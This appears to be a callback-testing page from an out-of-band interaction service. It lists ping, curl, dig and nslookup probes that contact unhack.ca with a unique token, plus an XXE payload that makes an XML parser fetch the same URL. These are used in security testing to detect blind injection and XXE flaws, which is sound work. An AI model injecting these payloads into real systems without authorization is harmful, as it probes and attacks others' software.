$ ping -c1 -p 007e027c33b391f7ec777509d2a67400 unhack.ca
 
$ curl http://unhack.ca/p/7e027c33b391f7ec777509d2a674
 
$ dig 7e027c33b391f7ec777509d2a674 @unhack.ca
 
$ dig 7e027c33b391f7ec777509d2a674.ns.unhack.ca
 
C:\> nslookup 7e027c33b391f7ec777509d2a674 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7e027c33b391f7ec777509d2a674">]>
    <foo>&xxe;</foo>
 
Waiting for ping...